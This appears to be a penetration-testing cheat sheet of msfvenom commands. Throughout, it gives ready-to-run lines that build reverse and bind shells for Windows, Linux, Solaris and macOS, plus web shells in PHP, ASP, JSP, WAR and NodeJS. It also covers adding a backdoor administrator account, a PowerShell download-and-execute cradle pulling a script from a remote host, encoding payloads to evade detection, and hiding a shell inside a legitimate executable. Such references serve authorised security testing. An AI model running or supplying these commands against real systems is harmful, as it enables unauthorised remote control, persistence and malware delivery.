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Basic msfvenom

msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP>
One can also use the -a to specify the architecture or the --platform

Listing

msfvenom -l payloads #Payloads
msfvenom -l encoders #Encoders

Common params when creating a shellcode

-b "\x00\x0a\x0d"
-f c
-e x86/shikata_ga_nai -i 5
EXITFUNC=thread
PrependSetuid=True #Use this to create a shellcode that will execute something with SUID

Windows

Reverse Shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe

Bind Shell

msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe

Create User

msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe

CMD Shell

msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe

Execute Command

msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe
msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe

Encoder

msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe

Embedded inside executable

msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe

Linux Payloads

Reverse Shell

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf

Bind Shell

msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf

SunOS (Solaris)

msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf

MAC Payloads

Reverse Shell:

msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho

Bind Shell

msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho

Web Based Payloads

PHP

Reverse shell

msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASP/x

Reverse shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx

JSP

Reverse shell

msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw> reverse.jsp

WAR

Reverse Shell

msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war

NodeJS

msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)

Script Language payloads

Perl

msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl

Python

msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py

Bash

msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.sh
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